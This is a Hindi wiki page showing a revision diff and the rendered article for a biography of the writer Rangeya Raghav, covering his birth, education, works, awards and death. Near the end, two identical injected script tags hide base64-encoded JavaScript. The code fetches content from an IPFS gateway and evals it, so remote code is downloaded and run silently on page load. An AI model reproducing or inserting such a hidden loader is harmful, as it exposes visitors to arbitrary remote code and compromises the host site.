"रांगेय राघव" के अवतरणों में अंतर
गोविन्द राम (चर्चा | योगदान) |
|||
पंक्ति 1: | पंक्ति 1: | ||
− | {{ | + | {{सूचना बक्सा साहित्यकार |
− | रांगेय राघव (जन्म: [[17 जनवरी]], 1923; मृत्यु: [[12 सितंबर]], 1962) | + | |चित्र=Rangeya-Raghav.jpg |
+ | |चित्र का नाम=रांगेय राघव | ||
+ | |पूरा नाम=रांगेय राघव | ||
+ | |अन्य नाम= | ||
+ | |जन्म=17 जनवरी, 1923 | ||
+ | |जन्म भूमि=[[आगरा]], [[उत्तर प्रदेश]] | ||
+ | |मृत्यु=12 सितंबर, 1962 | ||
+ | |मृत्यु स्थान=[[मुंबई]], [[महाराष्ट्र]] | ||
+ | |अविभावक= | ||
+ | |पालक माता-पिता=पिता- श्री रंगाचार्य | ||
+ | |पति/पत्नी= | ||
+ | |संतान= | ||
+ | |कर्म भूमि= | ||
+ | |कर्म-क्षेत्र= | ||
+ | |मुख्य रचनाएँ= | ||
+ | |विषय= | ||
+ | |भाषा=[[हिन्दी]], [[अंग्रेज़ी]], [[ब्रजभाषा|ब्रज]] और [[संस्कृत]] | ||
+ | |विद्यालय=सेंट जॉन्स कॉलेज, आगरा विश्वविद्यालय | ||
+ | |शिक्षा=स्नातकोत्तर, पी.एच.डी | ||
+ | |पुरस्कार-उपाधि=हिंदुस्तानी अकादमी पुरस्कार, डालमिया पुरस्कार, उत्तर प्रदेश शासन पुरस्कार, राजस्थान साहित्य अकादमी पुरस्कार | ||
+ | |प्रसिद्धि= | ||
+ | |विशेष योगदान= | ||
+ | |नागरिकता=भारतीय | ||
+ | |संबंधित लेख= | ||
+ | |शीर्षक 1= | ||
+ | |पाठ 1= | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |अन्य जानकारी=इनका मूल नाम टी.एन.बी.आचार्य (तिरूमल्लै नंबकम् वीरराघव आचार्य) था। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | चित्र:Rangeya-Raghav.jpg | ||
+ | रांगेय राघव (जन्म: [[17 जनवरी]], 1923; मृत्यु: [[12 सितंबर]], 1962) असाधारण प्रतिभा के धनी रचनाकार थे। [[हिन्दी]] के विशिष्ट और बहुमुखी प्रतिभावालों में से एक थे। इनका मूल नाम टी.एन.बी.आचार्य (तिरूमल्लै नंबकम् वीरराघव आचार्य) था। वे रामानुजाचार्य परम्परा के तमिल देशीय आयंगर ब्राह्मण थे। | ||
==जन्म== | ==जन्म== | ||
− | रांगेय राघव का जन्म 17 जनवरी, 1923 ई. में [[आगरा]] में हुआ था। पिता श्री रंगाचार्य के पूर्वज लगभग तीन सौ वर्ष पहले [[जयपुर]] और फिर [[भरतपुर]] के बयाना कस्बे में आकर रहने लगे थे। रांगेय राघव का जन्म हिन्दी प्रदेश में हुआ। उन्हें तमिल और कन्नड़ भाषा का भी ज्ञान था। | + | रांगेय राघव का जन्म 17 जनवरी, 1923 ई. में [[आगरा]] में हुआ था। पिता श्री रंगाचार्य के पूर्वज लगभग तीन सौ वर्ष पहले [[जयपुर]] और फिर [[भरतपुर]] के बयाना कस्बे में आकर रहने लगे थे। रांगेय राघव का जन्म हिन्दी प्रदेश में हुआ। उन्हें [[तमिल भाषा|तमिल]] और [[कन्नड़ भाषा]] का भी ज्ञान था। |
==शिक्षा== | ==शिक्षा== | ||
− | रांगेय की शिक्षा आगरा में हुई थी। सेंट जॉन्स कॉलेज से 1944 में स्नातकोत्तर और 1949 में आगरा विश्वविद्यालय से गुरू गोरखनाथ पर शोध करके उन्होंने पी.एच.डी. की थी। रांगेय राघव का हिन्दी, [[अंग्रेज़ी]], ब्रज और [[संस्कृत]] पर असाधारण अधिकार था। | + | रांगेय की शिक्षा आगरा में हुई थी। सेंट जॉन्स कॉलेज से 1944 में स्नातकोत्तर और 1949 में आगरा विश्वविद्यालय से गुरू गोरखनाथ पर शोध करके उन्होंने पी.एच.डी. की थी। रांगेय राघव का हिन्दी, [[अंग्रेज़ी]], [[ब्रजभाषा|ब्रज]] और [[संस्कृत]] पर असाधारण अधिकार था। |
− | == | + | ==रचनाएँ== |
− | रांगेय राघव हिन्दी के प्रगतिशील विचारों के लेखक थे, किन्तु मार्क्स के दर्शन को उन्होंने संशोधित रूप में ही स्वीकार किया। उन्होंने अल्प समय में ही कितने साहित्य का सृजन किया | + | रांगेय राघव हिन्दी के प्रगतिशील विचारों के लेखक थे, किन्तु मार्क्स के [[दर्शन]] को उन्होंने संशोधित रूप में ही स्वीकार किया। उन्होंने अल्प समय में ही कितने साहित्य का सृजन किया, इसका अनुमान इस विवरण से लगाया जा सकता है। उनके प्रकाशित ग्रन्थों में 42 उपन्यास, 11 कहानी, 12 आलोचनात्मक ग्रन्थ, 8 काव्य, 4 इतिहास, 6 समाजशास्त्र विषयक, 5 नाटक और लगभग 50 अनूदित पुस्तकें हैं। ये सब रचनाएँ उनके जीवन काल में प्रकाशित हो चुकी थीं। 39 वर्ष की कच्ची उम्र में इनका देहान्त हुआ, लगभग 20 पुस्तकें प्रकाशन की प्रतीक्षा में थीं। यद्यपि उन्होंने कुछ अंग्रेज़ी ग्रन्थों के भी अनुवाद किए, किन्तु उनके अधिकांश साहित्य का परिवेश भारतीय संस्कृति और ऐतिहासिक जीवन ही रहा है। |
==पुरस्कार== | ==पुरस्कार== | ||
रांगेय राघव को हिंदुस्तानी अकादमी पुरस्कार (1947), डालमिया पुरस्कार (1954), उत्तर प्रदेश शासन पुरस्कार (1957 तथा 1959), राजस्थान साहित्य अकादमी पुरस्कार (1961) और इनके निधन के बाद महात्मा गाँधी पुरस्कार (1966) से सम्मानित किया। अनेक रचनाओं का हिंदीतर भारतीय और विदेशी भाषाओं में भी अनुवाद किया। | रांगेय राघव को हिंदुस्तानी अकादमी पुरस्कार (1947), डालमिया पुरस्कार (1954), उत्तर प्रदेश शासन पुरस्कार (1957 तथा 1959), राजस्थान साहित्य अकादमी पुरस्कार (1961) और इनके निधन के बाद महात्मा गाँधी पुरस्कार (1966) से सम्मानित किया। अनेक रचनाओं का हिंदीतर भारतीय और विदेशी भाषाओं में भी अनुवाद किया। | ||
==निधन== | ==निधन== | ||
− | रांगेय राघव का निधन मात्र 39 वर्ष की उम्र में [[ | + | रांगेय राघव का निधन मात्र 39 वर्ष की उम्र में [[मुंबई]] में सन 1962 में हो गया था। इस अद्भुत रचनाकार को मृत्यु ने इतनी जल्दी न उठा लिया होता तो वे और भी नये मापदण्ड स्थापित करते। |
पंक्ति 21: | पंक्ति 54: | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
− | + | {{साहित्यकार}} | |
− | [[Category: | + | [[Category:जीवनी साहित्य]] |
− | + | [[Category:आधुनिक साहित्यकार]] | |
+ | [[Category:लेखक]] | ||
+ | [[Category:आधुनिक लेखक]] | ||
+ | [[Category:साहित्यकार]] | ||
+ | [[Category:कहानीकार]] | ||
+ | [[Category:उपन्यासकार]] | ||
+ | [[Category:नाटककार]] | ||
+ | [[Category:साहित्य कोश]] | ||
__INDEX__ | __INDEX__ | ||
+ | __NOTOC__ |
14:14, 10 जनवरी 2012 का अवतरण
रांगेय राघव
| |
पूरा नाम | रांगेय राघव |
जन्म | 17 जनवरी, 1923 |
जन्म भूमि | आगरा, उत्तर प्रदेश |
मृत्यु | 12 सितंबर, 1962 |
मृत्यु स्थान | मुंबई, महाराष्ट्र |
पालक माता-पिता | पिता- श्री रंगाचार्य |
भाषा | हिन्दी, अंग्रेज़ी, ब्रज और संस्कृत |
विद्यालय | सेंट जॉन्स कॉलेज, आगरा विश्वविद्यालय |
शिक्षा | स्नातकोत्तर, पी.एच.डी |
पुरस्कार-उपाधि | हिंदुस्तानी अकादमी पुरस्कार, डालमिया पुरस्कार, उत्तर प्रदेश शासन पुरस्कार, राजस्थान साहित्य अकादमी पुरस्कार |
नागरिकता | भारतीय |
अन्य जानकारी | इनका मूल नाम टी.एन.बी.आचार्य (तिरूमल्लै नंबकम् वीरराघव आचार्य) था। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
चित्र:Rangeya-Raghav.jpg रांगेय राघव (जन्म: 17 जनवरी, 1923; मृत्यु: 12 सितंबर, 1962) असाधारण प्रतिभा के धनी रचनाकार थे। हिन्दी के विशिष्ट और बहुमुखी प्रतिभावालों में से एक थे। इनका मूल नाम टी.एन.बी.आचार्य (तिरूमल्लै नंबकम् वीरराघव आचार्य) था। वे रामानुजाचार्य परम्परा के तमिल देशीय आयंगर ब्राह्मण थे।
जन्म
रांगेय राघव का जन्म 17 जनवरी, 1923 ई. में आगरा में हुआ था। पिता श्री रंगाचार्य के पूर्वज लगभग तीन सौ वर्ष पहले जयपुर और फिर भरतपुर के बयाना कस्बे में आकर रहने लगे थे। रांगेय राघव का जन्म हिन्दी प्रदेश में हुआ। उन्हें तमिल और कन्नड़ भाषा का भी ज्ञान था।
शिक्षा
रांगेय की शिक्षा आगरा में हुई थी। सेंट जॉन्स कॉलेज से 1944 में स्नातकोत्तर और 1949 में आगरा विश्वविद्यालय से गुरू गोरखनाथ पर शोध करके उन्होंने पी.एच.डी. की थी। रांगेय राघव का हिन्दी, अंग्रेज़ी, ब्रज और संस्कृत पर असाधारण अधिकार था।
रचनाएँ
रांगेय राघव हिन्दी के प्रगतिशील विचारों के लेखक थे, किन्तु मार्क्स के दर्शन को उन्होंने संशोधित रूप में ही स्वीकार किया। उन्होंने अल्प समय में ही कितने साहित्य का सृजन किया, इसका अनुमान इस विवरण से लगाया जा सकता है। उनके प्रकाशित ग्रन्थों में 42 उपन्यास, 11 कहानी, 12 आलोचनात्मक ग्रन्थ, 8 काव्य, 4 इतिहास, 6 समाजशास्त्र विषयक, 5 नाटक और लगभग 50 अनूदित पुस्तकें हैं। ये सब रचनाएँ उनके जीवन काल में प्रकाशित हो चुकी थीं। 39 वर्ष की कच्ची उम्र में इनका देहान्त हुआ, लगभग 20 पुस्तकें प्रकाशन की प्रतीक्षा में थीं। यद्यपि उन्होंने कुछ अंग्रेज़ी ग्रन्थों के भी अनुवाद किए, किन्तु उनके अधिकांश साहित्य का परिवेश भारतीय संस्कृति और ऐतिहासिक जीवन ही रहा है।
पुरस्कार
रांगेय राघव को हिंदुस्तानी अकादमी पुरस्कार (1947), डालमिया पुरस्कार (1954), उत्तर प्रदेश शासन पुरस्कार (1957 तथा 1959), राजस्थान साहित्य अकादमी पुरस्कार (1961) और इनके निधन के बाद महात्मा गाँधी पुरस्कार (1966) से सम्मानित किया। अनेक रचनाओं का हिंदीतर भारतीय और विदेशी भाषाओं में भी अनुवाद किया।
निधन
रांगेय राघव का निधन मात्र 39 वर्ष की उम्र में मुंबई में सन 1962 में हो गया था। इस अद्भुत रचनाकार को मृत्यु ने इतनी जल्दी न उठा लिया होता तो वे और भी नये मापदण्ड स्थापित करते।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>